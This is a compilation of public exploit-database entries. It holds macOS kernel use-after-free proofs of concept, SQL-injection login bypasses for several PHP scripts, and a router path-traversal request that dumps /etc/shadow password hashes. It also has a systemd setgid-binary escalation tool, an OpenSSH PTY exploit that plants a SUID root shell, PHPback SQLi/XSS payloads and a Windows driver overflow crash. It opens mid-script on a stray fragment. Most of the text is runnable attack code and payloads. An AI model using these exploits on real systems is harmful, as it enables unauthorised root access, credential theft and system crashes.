    SendMail(args['to'],args['mailserver'],args['cmd'],args['from'])
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=973

IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService.
We can call this function on a controlled IOService with a controlled matching table OSDictionary via the
io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable.

If a candidate IOService does match against the dictionary but the dictionary also specifies an
"IOParentMatch" key then we reach the following code (in IOService.cpp:)

  OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey));
  if(alternateRegistryID != NULL) {
    if(aliasServiceRegIds == NULL)
    {
      aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID));
    }
    aliasServiceRegIds->setObject(alternateRegistryID);
  }

("where" is the controlled IOService.)
getProperty is an IORegistryEntry API which directly calls the getObject method
of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on
the value of the property which means that there is a short window between

  where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)
and
  aliasServiceRegIds->setObject(alternateRegistryID)

when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property
the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call
being performed on a free'd object.

On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the
IOServiceLegacyMatchingRegistryID property.

One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it
to the aliasServiceRegIds array.

Tested on MacOS Sierra 10.12.1 (16B2555)
*/

// ianbeer
// clang -o iorace iorace.c -framework IOKit -framework CoreFoundation && sync

#if 0
MacOS/iOS kernel use after free due to failure to take reference in IOService::matchPassive

IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService.
We can call this function on a controlled IOService with a controlled matching table OSDictionary via the
io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable.

If a candidate IOService does match against the dictionary but the dictionary also specifies an
"IOParentMatch" key then we reach the following code (in IOService.cpp:)

  OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey));
  if(alternateRegistryID != NULL) {
    if(aliasServiceRegIds == NULL)
    {
      aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID));
    }
    aliasServiceRegIds->setObject(alternateRegistryID);
  }

("where" is the controlled IOService.)
getProperty is an IORegistryEntry API which directly calls the getObject method
of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on
the value of the property which means that there is a short window between

  where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)
and
  aliasServiceRegIds->setObject(alternateRegistryID)

when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property
the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call
being performed on a free'd object.

On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the
IOServiceLegacyMatchingRegistryID property.

One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it
to the aliasServiceRegIds array.

Tested on MacOS Sierra 10.12.1 (16B2555)
#endif



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/mach_vm.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>

io_service_t service = MACH_PORT_NULL;

void* setter(void* arg) {
  char number = 1;
  CFNumberRef num = CFNumberCreate(kCFAllocatorDefault, kCFNumberCharType, &number);

  while(1) {
    kern_return_t err;
    err = IORegistryEntrySetCFProperty(
      service,
      CFSTR("IOServiceLegacyMatchingRegistryID"),
      num);
    
    if (err != KERN_SUCCESS){
      printf("setProperty failed\n");
      return NULL;
    }
  }
  return NULL;
}

int main(){
  kern_return_t err;

  service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);

  pthread_t thread;
  pthread_create(&thread, NULL, setter, NULL);

  CFMutableDictionaryRef  dict2; 
  dict2 = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
                                   &kCFTypeDictionaryKeyCallBacks,
                                   &kCFTypeDictionaryValueCallBacks);
  CFDictionarySetValue(dict2, CFSTR("key"), CFSTR("value"));

  CFMutableDictionaryRef  dict; 
  dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
                                   &kCFTypeDictionaryKeyCallBacks,
                                   &kCFTypeDictionaryValueCallBacks);
  CFDictionarySetValue(dict, CFSTR("IOProviderClass"), CFSTR("IOService"));
  CFDictionarySetValue(dict, CFSTR("IOResourceMatch"), CFSTR("IOBSD"));
  CFDictionarySetValue(dict, CFSTR("IOParentMatch"), dict2);

  while(1) {
    boolean_t match = 0;
    err = IOServiceMatchPropertyTable(service, dict, &match);
    if (err != KERN_SUCCESS){
      printf("no matches\n");
    }
  }

  pthread_join(thread, NULL);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1034

The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.

The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:

Thread A: host_self_trap:
  read current_task()->itk_host         // Thread A reads itk_host

Thread B: task_set_special_port:
  *whichp = port;                       // Thread B replaces itk_host with eg MACH_PORT_NULL
  itk_unlock(task);
  
  if (IP_VALID(old))
    ipc_port_release_send(old);         // Thread B drops last ref on itk_host

Thread A: host_self_trap:
  passes the port to ipc_port_copy_send // uses the free'd port

host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.

PoC tested on MacOS 10.12.1
*/

// ianbeer
#if 0
iOS/MacOS kernel UaF due to lack of locking in host_self_trap

The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.

The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:

Thread A: host_self_trap:
	read current_task()->itk_host         // Thread A reads itk_host

Thread B: task_set_special_port:
  *whichp = port;                       // Thread B replaces itk_host with eg MACH_PORT_NULL
  itk_unlock(task);
  
  if (IP_VALID(old))
    ipc_port_release_send(old);         // Thread B drops last ref on itk_host

Thread A: host_self_trap:
  passes the port to ipc_port_copy_send // uses the free'd port

host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.

PoC tested on MacOS 10.12.1
#endif

// example boot-args
// debug=0x144 -v pmuflags=1 kdp_match_name=en3 -zp -zc gzalloc_min=120 gzalloc_max=200

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

#include <mach/mach.h>
#include <mach/host_priv.h>

mach_port_t q() {
  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
  return p;
}

int start = 0;

mach_port_t rq = MACH_PORT_NULL;
void* racer(void* arg) {
  for(;;) {
    while(!start){;}
    usleep(10);
    mach_port_t p = mach_host_self();
    mach_port_deallocate(mach_task_self(), p);
    start = 0;
  }
}

int main() {
  pthread_t thread;
  pthread_create(&thread, NULL, racer, NULL);
  for (;;){
    mach_port_t p = q();

    kern_return_t err = task_set_special_port(mach_task_self(), TASK_HOST_PORT, p);

    mach_port_deallocate(mach_task_self(), p);
    mach_port_destroy(mach_task_self(), p);
    // kernel holds the only ref

    start = 1;

    task_set_special_port(mach_host_self(), TASK_HOST_PORT, MACH_PORT_NULL);
  }
  return 0;
}
            
# # # # # 
# Exploit Title: KB Affiliate Referral PHP Script V1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://kunals.com/
# Software Download: http://phpscripts.kunals.com/d/item/files/kbaffiliate.rar
# Demo: http://phpscripts.kunals.com/d/item/detail/affiliate/demo/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/index.php?page=act/login and set Username and Password to 'or''=' and hit enter.
# # # # #
            
# # # # # 
# Exploit Title: KB Login Authentication Script V1.1 - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://kunals.com/
# Software Download: http://phpscripts.kunals.com/d/item/files/kblogin.rar
# Demo: http://phpscripts.kunals.com/d/item/detail/login/demo/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/ and set Username and Password to 'or''=' and hit enter.
# # # # #
            
# # # # # 
# Exploit Title: KB Messages PHP Script V1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://kunals.com/
# Software Download: http://phpscripts.kunals.com/d/item/files/kbmessages.rar
# Demo: http://phpscripts.kunals.com/d/item/detail/messages/demo/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/ and set Username and Password to 'or''=' and hit enter.
# # # # #
            
# # # # # 
# Exploit Title: Web Based TimeSheet Script - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://qualitypointtech.net/
# Software Buy: http://www.qualitypointtech.com/webtimesheet/
# Demo: http://qualitypointtech.net/timesheetdemo/index.php
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/ and set Username:anything Password:'or''=' and hit enter.
# # # # #
            
# Exploit Title: TM RG4332 Wireless Router Traversal Arbitrary File Read
# Date: 27/01/2017
# Exploit Author: Saeid Atabaki
# Version: RG4332_V2.7.0
# Tested on: RG4332 with mini_http 1.19

 
 
= 1 =============================================================
 
GET /cgi-bin/webproc?getpage=html/../../../etc/passwd&var:menu=status&var:page=system_msg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: sessionid=17746062; auth=ok; expires=Sun, 15-May-2012 01:45:46 GMT; language=en_us; Lan_IPAddress=192.168.0.1; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT
Connection: close
 
---
 
HTTP/1.0 200 OK
Content-type: text/html
Cache-Control: no-cache
set-cookie: sessionid=17746062;
set-cookie: auth=ok;
set-cookie: expires=Sun, 15-May-2012 01:45:46 GMT;


#root:x:0:0:root:/root:/bin/bash
root:x:0:0:root:/root:/bin/sh
#tw:x:504:504::/home/tw:/bin/bash
#tw:x:504:504::/home/tw:/bin/msh

 
= 2 =============================================================
 
GET /cgi-bin/webproc?getpage=html/../../../etc/shadow&var:menu=status&var:page=system_msg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: sessionid=17746062; auth=ok; expires=Sun, 15-May-2012 01:45:46 GMT; language=en_us; Lan_IPAddress=192.168.0.1; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT
Connection: close

---

HTTP/1.0 200 OK
Content-type: text/html
Cache-Control: no-cache
set-cookie: sessionid=17746062;
set-cookie: auth=ok;
set-cookie: expires=Sun, 15-May-2012 01:45:46 GMT;


#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
            
/*
source: http://www.openwall.com/lists/oss-security/2017/01/24/4

This is a heads up for a trivial systemd local root exploit, that
was silently fixed in the upstream git as:

commit 06eeacb6fe029804f296b065b3ce91e796e1cd0e
Author: ....
Date:   Fri Jan 29 23:36:08 2016 +0200

    basic: fix touch() creating files with 07777 mode
    
    mode_t is unsigned, so MODE_INVALID < 0 can never be true.
    
    This fixes a possible DoS where any user could fill /run by writing to
    a world-writable /run/systemd/show-status.

The analysis says that is a "possible DoS", but its a local root
exploit indeed. Mode 07777 also contains the suid bit, so files
created by touch() are world writable suids, root owned. Such
as /var/lib/systemd/timers/stamp-fstrim.timer thats found on a non-nosuid mount.

This is trivially exploited by something like:

http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c

with minimal changes, so I wont provide a PoC here.

The bug was possibly introduced via:

commit ee735086f8670be1591fa9593e80dd60163a7a2f
Author: ...
Date:   Wed Nov 11 22:54:56 2015 +0100

    util-lib: use MODE_INVALID as invalid value for mode_t everywhere


So we believe that this mostly affects v228 of systemd, but its recommended
that distributors cross-check their systemd versions for vulnerable
touch_*() functions. We requested
a CVE for this issue from MITRE by ourselfs: CVE-2016-10156

We would like to see that systemd upstream retrieves CVE's themself
for their own bugs, even if its believed that its just a local DoS.
This would make distributors life much easier when we read the git logs
to spot potential issues. The systemd git log is really huge, with
lots of commits each week ("new services as a service").

Sebastian
*/



// Source: http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c

/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  This tool allows to create a setgid binary in appropriate directory
 *  to escalate to the group of this directory.
 *
 *  Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
 *
 *  Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
 *
 *  Example: 
 *
 *  # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
 *  # ls -al ./escalate
 *  # ./escalate /bin/sh
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *
 *  See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };

  int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    int result=fork();
    if(!result) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      argv[3]=suidWriteNext;
      execve(argv[2], argv+3, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(result, NULL, 0);
    suidWriteNext=suidWriteTestPos;
//  ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
  }
  fprintf(stderr, "Completed\n");
  return(0);
}
            
/* 
 *  not_an_sshnuke.c
 *
 *  Federico Bento
 *
 *  up201407890 () alunos dcc fc up pt
 *  https://twitter.com/uid1000
 * 
 *  OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565
 *  
 *  Considered mostly to be a "DoS", turns out to be a priv esc vuln.
 *  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565
 *
 *  Shoutz to Jann Horn for the detailed analysis
 *  And also to all my elite colleagues, specially xSTF :)
 *
 *
 *  $ gcc not_an_sshnuke.c -o not_an_sshnuke
 *  $ ./not_an_sshnuke /dev/pts/3
 *  [*] Waiting for slave device /dev/pts/3
 *  [+] Got PTY slave /dev/pts/3
 *  [+] Making PTY slave the controlling terminal
 *  [+] SUID shell at /tmp/sh
 *  $ /tmp/sh --norc --noprofile -p
 *  # id
 *  euid=0(root) groups=0(root)
 *
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
     
int main(int argc, char *argv[])
{
     char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n";
     int pid, pts = -1;

     if(argc != 2) {
          fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]);
	  fprintf(stderr, "Where X is next slave device to be created\n");
	  return 1;
     }
	
     if(!access(argv[1], F_OK)) {
          fprintf(stderr, "[-] %s device already exists\n", argv[1]);
          return 1;
     }

     pid = fork();

     if(pid < 0) {
	  fprintf(stderr, "[-] fork failed\n");
	  return 1;
     }
	
     if(pid == 0) {
          printf("[*] Waiting for slave device %s\n", argv[1]);
		
	  /* win the race by opening the PTY slave before sshd's child */
	  while(pts == -1)
	       pts = open(argv[1], O_WRONLY); 

	       printf("[+] Got PTY slave %s\n", argv[1]);
               printf("[+] Making PTY slave the controlling terminal\n");
		
	       dup2(pts, 0); dup2(pts, 1); dup2(pts, 2);
	       setsid();
               ioctl(0, TIOCSCTTY, 1);

	       while(*cmd)
	            ioctl(0, TIOCSTI, cmd++);
     }

     else {
          wait(NULL);
	  printf("[+] SUID shell at /tmp/sh\n");
	  return 0;
     }
}
            
##################################################################################################
#Exploit Title :PHPback  < version 1.3.1 SQL Injection and XSS vulnerability 
#Author        : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date          : 27/01/2017
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Tested At  : Indishell Lab
##################################################################################################
 
////////////////////////
/// Overview:
////////////////////////
 
PHPBack is an open source feedback system and developed on codeigniter framework. There is SQL Injection in search parameter "query" and XSS issue in desc as well as title ppost parameter
  
 
////////////////
///  POC   ////
///////////////

SQL Injection payload to enumerate tables
----------------------------------------------
http://127.0.0.1/phpback-master/home/search
Post data
query=')%0Aor%0Aextractvalue(6678,concat(0x7e,(select%0Auser()),0x7e))--%0A%23


XSS 
----
http://127.0.0.1/phpback-master/home/postidea
Post data

in desc parameter
desc=</textarea><script>alert(document.cookie);</script>
in title parameter

title="><script>alert(document.location);</script>


SQLI Screenshot 
https://cloud.githubusercontent.com/assets/10351062/14776703/c9440524-0ae5-11e6-9240-a37a685a72b1.png

XSS screenshot
https://cloud.githubusercontent.com/assets/10351062/14811513/14fbebdc-0bb6-11e6-8ea5-229e2ab71eb8.png
 
 
                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,cyber gladiator,Cyber Ace,Golden boy INDIA,d3, rafay baloch, nag256
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3
            
/*

Exploit Title    - Palo Alto Networks Terminal Services Agent Integer Overflow
Date             - 26th January 2017
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - https://www.paloaltonetworks.com/
Tested Version   - 7.0.3-13 
Driver Version   - 6.0.7.0 - panta.sys
Tested on OS     - 32bit Windows 7 SP1 
CVE ID           - CVE-2017-5329
Vendor fix url   - https://securityadvisories.paloaltonetworks.com/ 
                   https://securityadvisories.paloaltonetworks.com/Home/Detail/71
Fixed Version    - 7.0.7 and later 
Fixed driver ver - 6.0.8.0


Disassembly
-----------

.text:9A26F0BD loc_9A26F0BD:                                                         
.text:9A26F0BD                 mov     ecx, DeviceObject                             
.text:9A26F0C3                 mov     dword ptr [ecx+1ACh], 0                       
.text:9A26F0CD                 mov     edx, DeviceObject
.text:9A26F0D3                 mov     eax, [edx+1B8h]                               ; eax points to our inputted buffer
.text:9A26F0D9                 mov     ecx, [eax+14h]                                ; Takes size to allocate from our inputted buffer 0x04924925
.text:9A26F0DC                 imul    ecx, 38h                                      ; 0x38 * 0x04924925 = 0x100000018. Wraps round becoming size to allocate 0x18 (Integer Overflow)
.text:9A26F0DF                 mov     [ebp+NumberOfBytes], ecx                      ; Copy ecx value 0x18 onto stack
.text:9A26F0E2                 push    44415450h                                     ; Tag (PTAD string used)
.text:9A26F0E7                 mov     edx, [ebp+NumberOfBytes]                      ; Copy size 0x18 to edx
.text:9A26F0EA                 push    edx                                           ; NumberOfBytes
.text:9A26F0EB                 push    0                                             ; PoolType
.text:9A26F0ED                 call    ds:ExAllocatePoolWithTag                      ; If returned null (eax) exits with error cleanly else takes crash path 
.text:9A26F0F3                 mov     ecx, DeviceObject
.text:9A26F0F9                 mov     [ecx+1B0h], eax
.text:9A26F0FF                 mov     edx, DeviceObject
.text:9A26F105                 cmp     dword ptr [edx+1B0h], 0                       ; Checks return value. If not null then jumps to our crash path
.text:9A26F10C                 jnz     short loc_9A26F13C                            ; Exits with error cleanly if incorrect size value but not crashable value

.text:9A26F13C
.text:9A26F13C loc_9A26F13C:                                                         
.text:9A26F13C                 mov     ecx, [ebp+NumberOfBytes]
.text:9A26F13F                 push    ecx                                           ; 0x18 our allocated pool memory
.text:9A26F140                 push    0                                             ; int, sets allocated memory to 0x00
.text:9A26F142                 mov     edx, DeviceObject
.text:9A26F148                 mov     eax, [edx+1B0h]
.text:9A26F14E                 push    eax                                           ; Pointer to our allocated buffer
.text:9A26F14F                 call    memset
.text:9A26F154                 add     esp, 0Ch
.text:9A26F157                 mov     [ebp+var_4], 0                                ; Null out ebp-4
.text:9A26F15E                 jmp     short loc_9A26F169

.text:9A26F160 loc_9A26F160:                                                         
.text:9A26F160                 mov     ecx, [ebp+var_4]
.text:9A26F163                 add     ecx, 1                                        ; Increment counter
.text:9A26F166                 mov     [ebp+var_4], ecx                              ; Store counter value

.text:9A26F169 loc_9A26F169:                                                         
.text:9A26F169                 mov     edx, DeviceObject                             
.text:9A26F16F                 mov     eax, [edx+1B8h]                               ; eax points to our inputted buffer
.text:9A26F175                 mov     ecx, [ebp+var_4]                              ; Loop counter number
.text:9A26F178                 cmp     ecx, [eax+14h]                                ; Compares our inputted buffer size 0x04924925. Here our
                                                                                     ; size is not using the wrapped value so loops till BSOD
.text:9A26F17B                 jnb     short loc_9A26F19A
.text:9A26F17D                 mov     edx, [ebp+var_4]                              ; Counter value
.text:9A26F180                 imul    edx, 38h
.text:9A26F183                 mov     eax, DeviceObject
.text:9A26F188                 mov     ecx, [eax+1B0h]                               ; Pointer to allocated pool copied to ecx
.text:9A26F18E                 lea     edx, [ecx+edx+30h]                            ; pointer+size(0x38*edx)+0x30
.text:9A26F192                 push    edx
.text:9A26F193                 call    sub_9A26C000                                  ; Starts overwriting other pool allocations !!!
.text:9A26F198                 jmp     short loc_9A26F160



.text:9A26C000 sub_9A26C000    proc near                                             
.text:9A26C000                                                                      
.text:9A26C000
.text:9A26C000 arg_0           = dword ptr  8
.text:9A26C000
.text:9A26C000                 push    ebp                                           
.text:9A26C001                 mov     ebp, esp
.text:9A26C003                 mov     eax, [ebp+arg_0]                              ; Copy allocated buffer pointer (pointer+size(0x38*edx)+0x30) to eax
.text:9A26C006                 mov     ecx, [ebp+arg_0]                              ; Copy allocated buffer pointer (pointer+size(0x38*edx)+0x30) to ecx
.text:9A26C009                 mov     [eax+4], ecx                                  ; Store pointer in allocated buffer at pointer+size(0x38*edx)+0x30+4
.text:9A26C00C                 mov     edx, [ebp+arg_0]                              ; Copy allocated buffer pointer+size(0x38*edx)+0x30 to edx
.text:9A26C00F                 mov     eax, [ebp+arg_0]                              ; Copy allocated buffer pointer+size(0x38*edx)+0x30 to eax
.text:9A26C012                 mov     [edx], eax                                    ; Store pointer in allocated buffer at pointer+size(0x38*edx)+0x30
.text:9A26C014                 pop     ebp
.text:9A26C015                 retn    4
.text:9A26C015 sub_9A26C000    endp



*/



#include <stdio.h>
#include <windows.h>

#define BUFSIZE 44


int main(int argc, char *argv[]) 
{
    HANDLE         hDevice;
    char           devhandle[MAX_PATH];
    DWORD          dwRetBytes = 0;
    unsigned char  buffer[BUFSIZE];


    memset(buffer, 0x41, BUFSIZE);

    printf("\n[i] Size of total input buffer %d bytes", BUFSIZE);

    *(DWORD*)(buffer + 20) = 0x04924925;

    sprintf(devhandle, "\\\\.\\%s", "panta");

    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if(hDevice == INVALID_HANDLE_VALUE)
    {
        printf("\n[-] Failed to open device %s\n\n", devhandle);
        return -1;
    }
    else 
    {
        printf("\n[+] Open %s device successful", devhandle);
    }	

    printf("\n[~] Press any key to continue . . .");
    getch();

    DeviceIoControl(hDevice, 0x88002200, buffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL); 

    printf("\n");
    CloseHandle(hDevice);
    return 0;
}